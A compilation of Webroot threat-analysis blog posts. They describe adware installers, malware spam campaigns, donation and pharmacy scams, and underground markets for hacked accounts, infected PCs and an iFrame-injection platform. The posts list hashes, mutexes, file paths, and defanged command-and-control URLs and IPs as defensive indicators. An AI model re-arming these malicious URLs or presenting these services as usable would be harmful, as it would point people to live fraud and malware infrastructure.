By Dancho Danchev

Our sensors just picked up yet another rogue ad enticing users into installing the SafeMonitorApp, a **potentially unwanted application (PUA)** that socially engineers users into giving away their privacy through deceptive advertising of the rogue application's "features".

More details:

Sample screenshot of the landing page, featuring a bogus 'Norton Secured' Seal:

Sample screenshot of the installation process:

Rogue URL: *hxxp://www.safemonitorapp.com*

Detection rate for the Potentially Unwanted Application (PUA) – **MD5: eaa96a5208df256251e0b66616070e3a** – detected by 6 out of 47 antivirus scanners as a variant of Win32/ExFriendAlert.B; SearchDonkey (fs).

Once executed, the sample drops the following MD5s on the affected hosts: MD5: ab73c0c2a23f913eabdc4cb24b75cbad
MD5: e563648ef955995fd109d4232d73201c
MD5: 389cbb8359d19d3753372ad1dea76618
MD5: e77df74a83b6e8c14b18f0681e4bdf46
MD5: edbb5cbaabcde52fa9822b5fe3f11f5a
MD5: f89a352a0cac2918b96df24a00a6b7ad
MD5: 93119058502398fefa04a2c2848c5716
MD5: d41d8cd98f00b204e9800998ecf8427e
MD5: 951c85a09dca9af7c52a8bcc17181fca
MD5: a783d28e15e07a38d9bbc1723ff93d1d
MD5: 0f904319c685830e08b793a94bcb29b3
MD5: c946d058e89e5dd47dd8812fe21a5a01

MD5: 00a0194c20ee912257df53bfe258ee4a
MD5: 68f5aeeaa307ca05233412ac3fb77643
MD5: 61fd777443084ed61c05c22e8e3c3eff
MD5: bf2c5f2b94cd7fd780572ed4d6d53ec6
MD5: 90d2959d0f5ab6bd68512fbfe1be05c4
MD5: 063cafc1ae75c1e6702d1fc671e7a941
MD5: 3a3a9223dd834d9898fdd8bf260bc373
MD5: 9e36cea59147bc7cd39ff85b91e9b925
MD5: 5c04a9320f466ba35407aba45d69be18
MD5: 2cfba79d485cf441c646dd40d82490fc

Phones back to s.safemonitorapp.com – 66.135.32.42, in particular, the following URLs: *hxxp://s.safemonitorapp.com/InsertInstallNotice3.ashx?v=SFMN_P0_2.6.17&p=590&c=211&m=start-myOnGuiInitStart&g=&i=p hxxp://s.safemonitorapp.com/InsertInstallNotice3.ashx?v=SFMN_P0_2.6.17&p=590&c=230&m=CopyFilesEnd&g=db9bdab426e648d094d927b1e8e5a128&i=p*

The following domains are also known to have phoned back to the same IP (66.135.32.42) : *betterwebapps.org l.spyguardapp.com m.exfriendalert.com m.reboundalert.com m.spyalertapp.com m.spyguardapp.com m.tvgenieapp.com m.unfriendapp.com s.autoupdateserver.com s.betterwebapps.org s.exfriendalert.com s.infoseekerapp.com s.injekt.com s.provideodownloader.com s.reboundalert.com s.recordcheckerapp.com s.safemonitorapp.com s.searchdonkeyapp.com s.spyalertapp.com s.spyguardapp.com s.spyscoutapp.com s.tvgenieapp.com s.unfriendapp.com s.unfriendtool.com u.safemonitorapp.com u.tvgenieapp.com u.unfriendapp.com autoupdateserver.com*

What's worth emphasizing on regarding the SafeMonitorApp in terms of preserving your privacy? Their EULA/Privacy Policy speaks for itself:

Safe Monitor is supported by advertising, which may include display, in-text and/or interstitial ads. Users may see additional display ads on websites that the product runs on or adds *functionality to.* ***You will see approximately 1 display ad per page on content sites; however, at times as many as 5 display advertisements per page.*** *On search engines there may be a search app, which may display 3 text ads beneath the application. In addition, topics or keyword phrases are automatically matched and products or services relevant to those topics or keyword phrases will appear on the webpage as a double underline.* ***Safe Monitor may also contain interstitial advertising where full-screen webpages are displayed between the current and destination page for a restricted amount of time.*** *When users access or use the Safe Monitor App, certain non-personally identifiable information is collected, stored and used for business and marketing purposes.* ***This non-personally identifiable information includes, without limitation: IP address, unique identifier number, operating system, browser and other software information, webpage URLs visited, and search queries entered. This collected data may also be supplemented with information obtained from third parties.***

We advise users to avoid interacting with the SafeMonitorApp.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Tens of thousands of spamvertised emails lead to W32/Casonline - Webroot Blog

facebook linkedin twitter

By Dancho Danchev

Fraudsters are currently spamvertising tens of thousands of emails enticing users into installing rogue, potentially unwanted (PUAs) **casino software** . Most commonly known as **W32/Casonline** , this scam earns revenue through the rogue online gambling software's affiliate network.

More details:

Sample screenshots of the landing URLs:

Spamvertised URLs: *hxxp://luckynuggetcasino.com* – 67.211.111.163
hxxp://888casino.com – 213.52.252.59
hxxp://spinpalace.com – 109.202.114.65
hxxp://alljackpotscasino.com – 64.34.230.122
hxxp://allslotscasino.com – 64.34.230.149

We're also aware of the following MD5s that have also phoned back to the same IP (213.52.252.59): MD5: 900a689eb4be4efc838b3030be7635ab
MD5: 6522922216d8a3f3db232e4db86f93ff
MD5: b1baf3cedb5ccfd0ec4d547765928142
MD5: a98aa48b53938e74c8cb8edde5f1fadd
MD5: 79fbb5176d534a1e7329f323e8441bf7
MD5: 4ddf626ffc8b0273bece32a28194df5a
MD5: 9a6047f825ce6a07a3ace527b06b57fc
MD5: 4047e9a75346f225edfeedd4d3b0e2ee
MD5: ce32189e16bfe9467daefd2a0244711f
MD5: 8c0ce385200267f36a16cd030e086ef3
MD5: f42a01cd4aab337211329477a64e4d52
MD5: 692a99608cbf87ec77f3a1aea7dc3ce9
MD5: b51690ae96a5bf5fb02d189ec505cb6b

Detection rates for the spamvertised PUA executables: *AllJackpots.exe* – **MD5: c27e1850653ab524612abb367fbb9bc8** – detected by 8 out of 47 antivirus scanners as Win32/PrimeCasino; Riskware/CasOnline
SpinPalace.exe – **MD5: 9a7b039e923e92e9a0923a2ecf758daa** – detected by 4 out of 47 antivirus scanners as W32/Casino.P.gen!Eldorado; HV_CASINO_CB240086.TOMC
luckynugget.exe – **MD5: 829f4f750f40ec83d73b9db025c0f08f** – detected by 2 out of 47 antivirus scanners as GAME/Casino.Gen;
reefclubcasino.exe – **MD5: 5f732fe8e005639a786753fd32d413a2** – detected by 2 out of 47 antivirus scanners as Skodna.Casino.DG
AllSlots.exe – **MD5: 0b582fc2171880291107eb724d5fd7bf** – detected by 2 out of 47 antivirus scanners as GAME/Casino.Gen; W32/Casino.P.gen!Eldorado

We advise users to avoid interacting with any kind of content distributed through spam messages, especially clicking on any of the links found in such emails.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Fake 'Unsuccessful Fax Transmission' themed emails lead to malware - Webroot Blog

facebook linkedin twitter

Have you sent an eFax recently? Watch out for an ongoing malicious spam campaign that tries to convince you that there's been an unsuccessful fax transmission. Once socially engineered users execute the malicious attachment found in the fake emails, their PCs automatically join the botnet of the cybercriminals behind the campaign.

More details:

Sample screenshot of the spamvertised email:

Detection rate for the malicious attachment: **MD5: 66140a32d7d8047ea93de0a4a419880b** – detected by 14 out of 47 antivirus scanners as UDS:DangerousObject.Multi.Generic.

Once executed, the sample starts listening on port 16554.

It then creates the following Mutexes on the affected hosts:
Global{BB67AFC4-9FA5-408A-DBC9-BE58FA349D4A}
Global{2E06BA86-8AE7-D5EB-DBC9-BE58FA349D4A}
Global{B0B9FAFD-CA9C-4B54-DBC9-BE58FA349D4A}
Local{B0B9FAFD-CA9C-4B54-DBC9-BE58FA349D4A}
Global{B0B9FAFC-CA9D-4B54-DBC9-BE58FA349D4A}
Local{B0B9FAFC-CA9D-4B54-DBC9-BE58FA349D4A}
Global{D15F4CEE-7C8F-2AB2-DBC9-BE58FA349D4A}
Local{D15F4CEE-7C8F-2AB2-DBC9-BE58FA349D4A}
Global{D15F4CE9-7C88-2AB2-DBC9-BE58FA349D4A}
Local{D15F4CE9-7C88-2AB2-DBC9-BE58FA349D4A}
Global{0BB5ADEF-9D8E-F058-DBC9-BE58FA349D4A}
Local{0BB5ADEF-9D8E-F058-DBC9-BE58FA349D4A}
Local{911F9FCD-AFAC-6AF2-DBC9-BE58FA349D4A}
Global{6ECDB23F-825E-9520-11EB-B06D3016937F}
Global{6ECDB23F-825E-9520-75EA-B06D5417937F}

Global{6ECDB23F-825E-9520-4DE9-B06D6C14937F}
Global{6ECDB23F-825E-9520-65E9-B06D4414937F}
Global{6ECDB23F-825E-9520-89E9-B06DA814937F}
Global{6ECDB23F-825E-9520-BDE9-B06D9C14937F}
Global{6ECDB23F-825E-9520-51E8-B06D7015937F}
Global{6ECDB23F-825E-9520-81E8-B06DA015937F}
Global{6ECDB23F-825E-9520-FDE8-B06DDC15937F}
Global{6ECDB23F-825E-9520-0DEF-B06D2C12937F}
Global{6ECDB23F-825E-9520-5DEF-B06D7C12937F}
Global{6ECDB23F-825E-9520-95EE-B06DB413937F}
Global{6ECDB23F-825E-9520-F1EE-B06DD013937F}
Global{6ECDB23F-825E-9520-89EB-B06DA816937F}
Global{6ECDB23F-825E-9520-F9EF-B06DD812937F}
Global{6ECDB23F-825E-9520-E5EF-B06DC412937F}
Global{6ECDB23F-825E-9520-0DEE-B06D2C13937F}
Global{6ECDB23F-825E-9520-09ED-B06D2810937F}
Global{6ECDB23F-825E-9520-51EF-B06D7012937F}
Global{6ECDB23F-825E-9520-35EC-B06D1411937F}
Global{6ECDB23F-825E-9520-05EE-B06D2413937F}
Global{6ECDB23F-825E-9520-4DEC-B06D6C11937F}
Global{DDB39BDC-ABBD-265E-DBC9-BE58FA349D4A}
Global{2E1C200D-106C-D5F1-DBC9-BE58FA349D4A}

The sample then phones back to the following C&C server **hxxp://lukafalls.com/banners/index.php** – 95.154.254.17, as well as to the following C&C IPs:
95.154.254.17 190.179.212.30 65.92.129.196 125.25.82.22 69.235.15.127 108.215.44.142 188.153.47.135 76.226.112.216 78.100.36.98 190.162.42.76 78.99.110.225 118.101.184.54 90.156.118.144 212.182.121.226 99.97.73.189 181.67.50.91 2.87.2.21 108.215.99.94 84.59.222.81 142.136.161.103 178.203.226.84 95.234.169.221 217.41.0.85 71.143.224.43 74.139.10.100 78.38.40.207 213.215.153.212

We’re also aware of the following malicious MD5s that are known to have phoned back to the same IPs over the last couple of days: *MD5: d8d6329eb2ef7cf138a18fd39c3ca519 MD5: fe4897f0712dfa664b20a7bda9b31c14 MD5: 673f25cdc6a4b6de151aec1a9dc90700 MD5:*

c39e7f31b06ffd172216a6c2feb84a76	MD5:
6193322ae5b1b4ee1e5a4d59b196a4d9	MD5:
5c5ee058b98588309fb0e04a06f2d8b7	MD5:
9609c6027d81243592c4f45878a60876	MD5:
f3b396040af190a913368a2adb1b262a	MD5:
b857a14fa537379b7121d4a98c4caafe	MD5:
a82895fab5d5c3d7ace0f8d2b34986bb	MD5:
162f8d9218563b13c0c0dda4bf0505a0	MD5:
bab6583874e8ea249023fa8dbe390d84	MD5:
691111fe48363cd8b425de4dbcd038fd	MD5:
9ed444e9f124cee1efd5830bbd66d087	MD5:
883f1ad690c8ee5bcfb1ae841d6ac3a3	MD5:
ddcc95675ba377e67fdf595420789beb	MD5:
e377c045a62deb71ddab9d46942e9cd3	MD5:
18bfe04b02cb15c08089b99daad85fac	MD5:
c890459bac4049f7d3a4332d98da54a8	MD5:
6a7cb5082d8ce9c4a2ee7c22708ad5e9	MD5:
3a7fd358b840f4e9c77059d5b95f5a7c	MD5:
01828136ba1c58096d314f612de0042a	MD5:
64f701aec9b22fa587f3de43ab4eba6c	MD5:
8f815f54d04086a5fab181e6de37c39f	MD5:
b643e10b90a2a0787d63ea7cb1259a3a	MD5:
b0a5b77e9efbff2e8b6e1b03961d2ca2	MD5:
a01af9e2c7351ebcac3903f35d75de25	MD5:
88adea70e0fc4e13ff80a311796a7fd7	MD5:
c69a7a396bb012a1c282e16140033dfa	MD5:
6ed8cd8bd03b5b52a1790a4b926facbf	MD5:
203d5701fccc7ca62c0def5ee75e855b	MD5:
a145fa184e060cb4fdf5c7b87f19d8c2	MD5:
916e0b8e852327f66eebb9e102f5fe25	MD5:
d90e6cf92efd7562b0b4f35a89ef1757	MD5:
015c9df3e57507d4d8371ebbc412eef2	MD5:
e13d6dcf5cac66ec32dd4c6b6a591005	MD5:
95a8f8a7d84e1b8a135ca2e47a3ee25f	MD5:
dc8e8e4444dcd9c2fd8e8d6a2941059b	MD5:
74b3d3403155cfafbe3878dbd2b82415	MD5:
aaf61821d1279d2146c8e91d7d6a1c26	MD5:

816efa5cd3f4cdbed7c03008646ae697 MD5:
f268c3c7d86187cc043a9c6225a834f3 MD5:
c2482b968948de476c3922f003cb8871 MD5:
7f68c5bfe96051ea29e7babecfe8a318 MD5:
d44b538fa6c506d50f6bb450d542fb62 MD5:
79e961df194e851398f9724253998448 MD5:
14ada26bec2ec1eadf0811d8621a1577 MD5:
bca48dcd06c89618e2ca53583c8f28e0 MD5:
235c379f9c7bb580dfa0e45a4ce41f3d MD5:
33ea9d9b86f8866c29c8ad5eee5ba63b MD5:
fd834feb5ffd973104d758e3e9596504 MD5:
d08c28e39f49c6b9ca2989d7b78d51d7 MD5:
295ac362d7ef3e03d67676f7b3b0ec17 MD5:
2dcfd44fe1884706d83bf8989e4ccb00 MD5:
39f576c4c115100652c57269584d42fc MD5:
a98762b111ca02bf6e9c81085d1fc035 MD5:
8a3892f7294d026e8369edfb68f1c8a7 MD5:
b0954c64cd2173506deca42fc932acec MD5:
949db66511dc9f08f284de85b84b5c5e MD5:
a151ddeedf3e0403b972333b86bd743d MD5:
1e37151a6f7d13d60c979afbb47ea2ac MD5:
4136bb424d16b7487c2ac1cb698c7bf5 MD5:
2fe9a8b3564a09d4c73e3973c1a7c3df MD5:
03517ff539caa30da1df941b7ea405c8 MD5:
70908c6635cb74fbd44012e66db4c0e8 MD5:
a4e0888fc717fe1c8060f25f8c033450 MD5:
0d4af8aebcdb7d90fb0461913b3f589b MD5:
e1cd4828ac4c6b716467271012b58d0f

Webroot SecureAnywhere users are proactively protected from these threats.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re

dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Scammers impersonate the UN Refugee Agency (UNHCR), seek your credit card details - Webroot Blog

facebook linkedin twitter

Opportunistic scammers have just launched a targeted spam campaign impersonating the UN Refugee Agency (UNHCR) in an attempt to trick users into handing over their complete credit card details as they supposedly **make a donation to support Syria's refugees** .

Needless to say, this scam is seeking full access to your credit card details through a fraudulent Web site that's directly collecting the information, has no SSL support, and is featuring a bogus "Verified by Verisign" logo in an attempt to add more legitimacy in the eyes of the prospective victims.

More details:

Sample screenshot of the spamvertised email:

Fraudulent URL: *hxxp://sosmoney.eu/refugees/refugees/Donate%20to%20the%20UN%20Refugee%20Agency%20in%20the%20United%20States%20-%20USA%20for%20UNHCR.htm*

Domain name reconnaissance: sosmoney.eu – 81.169.145.144; 2a01:238:20a:202:1091::145

Sample screenshots of the landing page:

We advise users to always research the Web site they're about to use before making a donation in order to ensure that they're not directly sending their credit cards details to fraudsters.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. Y ou can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Hacked Origin, Uplay, Hulu Plus, Netflix, Spotify, Skype, Twitter, Instagram, Tumblr, Freelancer accounts offered for sale - Webroot Blog

facebook linkedin twitter

Aiming to **capitalize on the multi-billion gaming market** , cybercriminals actively data mine their botnets for accounting credentials, not just for popular gaming platforms, but also the actual activation keys for some of the most popular games on the market.

A newly launched e-shop aims to monetize stolen accounting credentials, not just for gaming platforms/popular games such as Origin and Uplay, but also for a variety of online services such as Hulu Plus, Spotify, Skype, Twitter, Instagram, Tumblr and Freelancer. How much does it cost to buy pre-ordered access to Battlefield 4? What about a compromised Netflix or Spotify account? Let's find out.

More details:

Sample screenshot of the actual advertisement:

Prices for the compromised gaming accounts: Crysis 3 – $2.50
Dead Space 3 – $2.50
Sim City – $2.50
Battlefield 4 – $4.50
Battlefield 3 – $0.50
FIFA 13 – $2.50
Far Cry 3 – $3
Assassin's Creed 3 – $3

Prices for the compromised accounts: Crossfire – 10 accounts go for $2
Hulu Plus – 1 account goes for $3
Netflix – 1 account goes for $0.50
Twitter – 100 accounts go for $3

Instagram – 100 accounts go for $3
Tumblr – 100 accounts go for $3

Accepted payment methods: Webmoney, Bitcoin, PayPal, Litecoins, Payza, Moneybookers/skrill

This international underground market ad is a great example of penetration pricing, by undercutting the country/region based prices for specific items — for instance games — in an attempt by the cybercriminal behind the shop to achieve asset liquidity for the compromised items. Based on the feedback provided by "happy customers" of this e-shop, we can conclude that this is not a one-time inventory of compromised assets, but a long-term operation which we believe is fueled by an ongoing botnet operation relying on commercially/publicly obtainable **DIY (do-it-yourself)** malware generating tools, in combination with **malware crypting services** .

We advise **Webroot SecureAnywhere** users to familiarize themselves with the security/privacy features offered by each and every Web service that they're using, and to ensure that they're taking full advantage of these features in an attempt to detect and prevent eventual compromise of their accounts.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . Y ou can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

iLivid ads lead to 'Searchqu Toolbar/Search Suite' PUA (Potentially Unwanted Application) - Webroot Blog

facebook linkedin twitter

By Dancho Danchev

Our sensors recently picked up an advertisement using Yieldmanager's ad network, enticing users into downloading the iLivid PUA (**Potentially Unwanted Application**) on their PCs. Operated by Bandoo Media Inc., the application installs the privacy invading "Searchqu Toolbar".

More details:

Sample screenshot of the advertisement:

Sample screenshot of the download page:

Detection rate for iLivid – **MD5: 468bbe0dc83496cad49597a47341c786** – detected by 3 out of 47 antivirus scanners as Adware.Bandoo.12; Win32/Toolbar.SearchSuite; W32/Toolbar.SEARCHSUITE

Landing URL: *lp.ilivid.com* – 109.201.151.93

Known to have responded to the same IP are the following malicious MD5s, which we believe attempted to monetize the malware-infected host through iLivid's affiliate network: *MD5: 74562e98a305834d84cb6df299a96a63 MD5: 463913c483112676a0c532f94802a6f0 MD5: 0ff6aa66003c2d6e9a4b86c97198a722 MD5: a7dd79393a3882acb8a373d5aebec1ea MD5: 33da215b4d827b1c74ff8361914f09ed MD5: 8c92b8c70e5a667bc9084517bc2431c3 MD5: c3c9954178fc0efe04d4b182d3dc3045 MD5: 60d4d1506efc6f444915257a402f76aa MD5: 70e8fe9b2baf3c39451ed95cb57666a7 MD5: 20b9e917485a52b9dcf7bb1adb05fd95 MD5: 2c5fcb0c1f346097542751e1f5a1d394 MD5:*

d6390373eb082062688b4a568cea6e37 MD5: d2dc7b3058a64a358f46953f2d2243ac MD5: 152172ad3cbd0e52bd3291a61d7153ed

What’s so special about iLivid and why should you avoid using it? Going through iLivid’s FAQ, we can easily spot the following:

“*iLivid may automatically receive and record certain non-personally identifiable information on its server logs from your browser, including your IP address, browser type, internet service provider (ISP), cookie information, and the webpage that a user visits. iLivid collects non-personally identifiable information for general purposes, including but not limited to analyzing trends, administering the site, tracking user movements, conducting research, and providing anonymous reporting to internal and external clients. iLivid will not link any Personal Information, including e-mail addresses, with aggregate data of its users.* ”

To avoid continuously feeding URLs you visit to a third-party who will monetize access to this data by sharing it with more parties, we advise you not to install iLivid.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . Y ou can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Pharmaceutical scammers impersonate Facebook's Notification System, entice users into purchasing counterfeit drugs - Webroot Blog

facebook linkedin twitter

By Dancho Danchev

Opportunistic pharmaceutical scammers are currently spamvertising tens of thousands of bogus emails impersonating Facebook's Notification System in an attempt to trick users into clicking on the links, supposedly coming from a trusted source. Once users click on the links found in the fake emails, they're exposed to **counterfeit pharmaceutical items** available for purchase without a prescription.

More details:

Sample screenshot of the spamvertised email:

Counterfeit pharmaceutical URL: *hxxp://medicinetabreckitt.com* – 69.64.37.9 – Email: davis@medicinetabreckitt.com

Sample screenshot of the landing URL:

Known to have responded to the same IP, are the following fraudulent domains/subdomains: *bizmowerstore.com whiv.ru wiskicare.eu wlptab.pl salerxhighest.nl medpillped.pl brennanlisprescription.nl bulimic.marijuanapharmedical.com canadaviagracanadas.com canadaviagracent.com mail.medicarepillscms.com mail.mymedicalpill.com mail.newpharmedicine.com mdnowbe.pl.ua mdnowtiny.pl.ua mdnowtoe.pl.ua mdnowtune.pl.ua medicalpharmacists.com medicarepharmdeficit.com medpillped.pl mehervato.com mentalrx.pl newpharmedicine.com nrytgyxvom.com ns2.neslyngei.com pharmticker.com rxcarestore.com weightdietrx.pl shortlisted.welnesscanadalberta.com smoothtongued.welnesscanadalberta.com*

spheroid.welnesscanadalberta.com
raining.welnesscanadalberta.com
televisual.welnesscanadalberta.com
reactionaries.welnesscanadalberta.com
stipples.welnesscanadalberta.com
venders.welnesscanadalberta.com
quavered.thetabletmedicine.com
tsetse.thetabletmedicine.com
whitish.thetabletmedicine.com
prioritisation.thetabletmedicine.com
underlinings.thetabletmedicine.com
ruinations.thetabletmedicine.com
satirically.thetabletmedicine.com
taffeta.viagramedbosch.com
reunited.viagramedbosch.com
underlying.viagramedbosch.com
woodpecker.viagramedbosch.com
reshapes.viagramedbosch.com
unaffectedly.viagramedbosch.com
viagrahealthcarebioportfolio.com
pyromaniac.torturetabcialis.com
surcharged.torturetabcialis.com
scythe.torturetabcialis.com
truffle.torturetabcialis.com
rustling.torturetabcialis.com
springclean.torturetabcialis.com
repeals.torturetabcialis.com
soft.torturetabcialis.com
regretful.viagraphysicians.com
shutup.vitaminherbalwelness.com
switcher.viagralevitax.com
slippery.viagralevitax.com
requisitioned.welnessmedicineveterinary.com
unimaginable.welnessmedicineveterinary.com
slurring.welnessmedicineveterinary.com
rug.welnessmedicineveterinary.com
tough.welnessmedicineveterinary.com

tabletmedicineipad.com
unbracketed.thetabletmedicine.com
weatherproof.thetabletmedicine.com
woodmen.thetabletmedicine.com
strider.thetabletmedicine.com
projects.thetabletmedicine.com
rotator.viagrahealthcarebiotech.com
uncapped.viagramedbosch.com
roommate.viagramedbosch.com
wildfowl.viagramedbosch.com
twiddles.viagramedbosch.com
teat.viagramedbosch.com
torontocanadapharm.com
sequins.torturelismeds.com
proofed.torturetabcialis.com
sword.torturetabcialis.com
unalterable.torturetabcialis.com
proceeding.torturetabcialis.com
throttling.torturetabcialis.com
unmasks.torturetabcialis.com
prophetess.torturetabcialis.com
purview.torturetabcialis.com
strangles.viagraphysicians.com
viagralevitratax.com
victims.viagralevitax.com

unbeaten.welnessmedicineveterinary.com
squirms.welnessmedicineveterinary.com
raisins.welnessmedicineveterinary.com
rearmament.welnessmedicineveterinary.com
toffy.welnessmedicineveterinary.com
signally.welnessmedicineveterinary.com
tensity.welnessmedicineveterinary.com tabletspharmacytabs.ru

Earning revenue while participating in a **pharmaceutical affiliate network** , the scammers behind these campaigns have a proven record of impersonating legitimate and trusted brands in an attempt to trick users into clicking on the links. The ultimate question – is someone actually buying these counterfeit drugs? The answer is surprisingly, yes, with **the U.S accounting for 72% of pharmaceutical orders** , according to research published last year.

Users are advised to avoid interacting with such Web sites, and to consider reporting them as fraudulent immediately.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. Y ou can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

New E-shop sells access to thousands of hacked PCs, accepts Bitcoin - Webroot Blog

facebook linkedin twitter

Remember the **E-shop offering access to hacked PCs** , based on malware 'executions' that we profiled last month?

We have recently spotted a newly launched, competing E-shop, once again selling access to hacked PCs worldwide, based on malware 'executions'. However, this time, there's no limit to the use of (competing) bot killers, meaning that the botnet master behind the service has a higher probability of achieving market efficiency compared to their "colleague." Additionally, the botnet master won't have to manually verify the presence of bot killers and will basically aim to sell access to as many hacked PCs as possible.

More details:

Sample screenshot of the actual advertisement:

The newly launched E-shop not only accepts Bitcoin but guarantees up to 20,000 hacked PCs on a daily basis; given that someone's interested in purchasing access to this many hosts. 1,000 hosts go for $30, 10,000 hosts go for $250, and 20,000 hosts go for $400, all of them from mixed international locations, meaning they're infecting virtually anyone that can be infected without bothering to segment the 'targeted population' in any of the campaigns that are responsible for generating their 'inventory'.

Sample screenshot of a customer confirming the legitimacy of the service:

We expect to continue spotting newly launched E-shops selling access to hacked PCs as a service, accepting either Bitcoin, or alternative payment methods, due to the overall availability of easy to use DIY (do-it-yourself) malware generating tools, or services allowing novice cybercriminals to **generate a completely undetected** — using **signatures-based scanning** techniques — pieces of **malicious software** .

*You can find more about Dancho Danchev at his **LinkedIn Profile** . Y ou can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Compromised FTP/SSH account privilege-escalating mass iFrame embedding platform released on the underground marketplace - Webroot Blog

facebook linkedin twitter

Utilizing the very best in 'malicious economies of scale' concepts, cybercriminals have recently released a privilege-escalating Web-controlled mass iFrame embedding platform that's not just relying on compromised FTP/SSH accounts, but also automatically gains root access on the affected servers in an attempt to target each and every site hosted there. Similar to the **stealth Apache 2 module** that we profiled back in November, 2012, this platform raises the stakes even higher, thanks to the automation, intuitive and easy to use interface, and virtually limitless possibilities for monetization of the hijacked traffic.

Let's take an exclusive look inside the new platform, offer screenshots of the platform in action, discuss its key features, the pricing scheme, and discuss why its release is prone to cause widespread damage internationally, given the obvious adoption that's beginning to take place.

More details:

Some of the core features of the malicious platform include:

Since the cybercriminals using the platform are escalating their privileges, once they obtain root access on the servers, they have complete access to the databases hosted there.
Extremely diversified set of anti-virus iFrame reputation checking capabilities, all done in an automated fashion.
The iFrames are obfuscated on the fly using Paunch's (author of the Black Hole Exploit Kit) **iFrame obfuscating service** , further demonstrating the existence of an ecosystem, rather than a basic market with sellers and buyers.
Despite the use of Paunch's script obfuscation server, as well as the

use of the Black Hole Exploit Kit in the demonistration, the author of the iFrame embedding platform is offering commercial access to the **CritXpack** . The platform can embedd iFrames to PHP/ASP/HTML/JS/SWF files.

It has built-in SEO-friendly statistics, including Alexa Rank and Google Page Rank.

It has built-in CMS (Content Management System) detection capabilities, and is therefore comparible with the most popular ones.

Traffic can be maliciously “optimized” and redirected to a set of pre-defined URLs, based on the browser and operating system used by the visitors.

The platform can also convert compromised servers into Socks servers, allowing the cybercriminals using it to add additional layers of anonymity to their operations.

The source code is encrypted and, according to the author of the platform, is installed in a TrueCrypt container.

Customer support is 24/7 with dedicated “specialists” ready to take into account the wishes of the customers regarding the future development of the platform.

Sample screenshots of the platform in action:

The platform comes in both Lite and Pro versions. The software license for the Lite version is $1,000 for 30 days, or $6,000 for 1 year. The software license for the Pro version is $1,000 for 30 days, or $9,000 for 1 year. The vendor accepts Bitcoin, Perfect Money and WebMoney. Bulletproof platform hosting servers come as a bonus.

We’ll definitely be keeping an eye on the future development of this platform.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Fake 'Vodafone U.K Images' themed malware serving spam campaign circulating in the wild - Webroot Blog

facebook linkedin twitter

We have just intercepted yet another spamvertised malware serving campaign, this time impersonating **Vodafone** U.K, in an attempt to trick the company's customers into thinking that they've received an image. In reality, once users execute the malicious attachments, their PCs automatically join the botnet operated by the cybercriminal.

More details:

Detection rate for the malicious executable – **MD5: 4e148480749937acef8a7d9bc0b3c8b5** – detected by 25 out of 47 antivirus scanners as VirTool:Win32/Obfuscator.ACP; Backdoor.Win32.Androm.sed.

Once executed, the sample creates an Alternate Data Stream (ADS) – *C:Documents and SettingsUserApplication Datadbgbsheshabeegeg.exe:Zone.Identifier* , as well as installs itself at Windows startup.

It then creates the following files on the affected hosts:
C:Documents and SettingsUserApplication Datadbgbsheshabeegeg.exe
C:DOCUME~1UserLOCALS~1TempIMG.JPEG.exe
C:WINDOWSRegistrationR000000000007.clb
C:WINDOWSsystem32wbemwbemdisp.TLB

And the following Mutexes:
3161B74B4743E1643757A72206361069701446466
CTF.TimListCache.FMPDefaultS-1-5-21-1547161642-507921405-839522115-1004MUTEX.DefaultS-1-5-21-1547161642-507921405-839522115-1004

It then phones back to the following C&C server:
hxxp://85.143.166.158/fexco/com/index.php

Webroot SecureAnywhere users are proactively protected from this threat.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Marijuana-themed DDoS for hire service spotted in the wild - Webroot Blog

facebook linkedin twitter

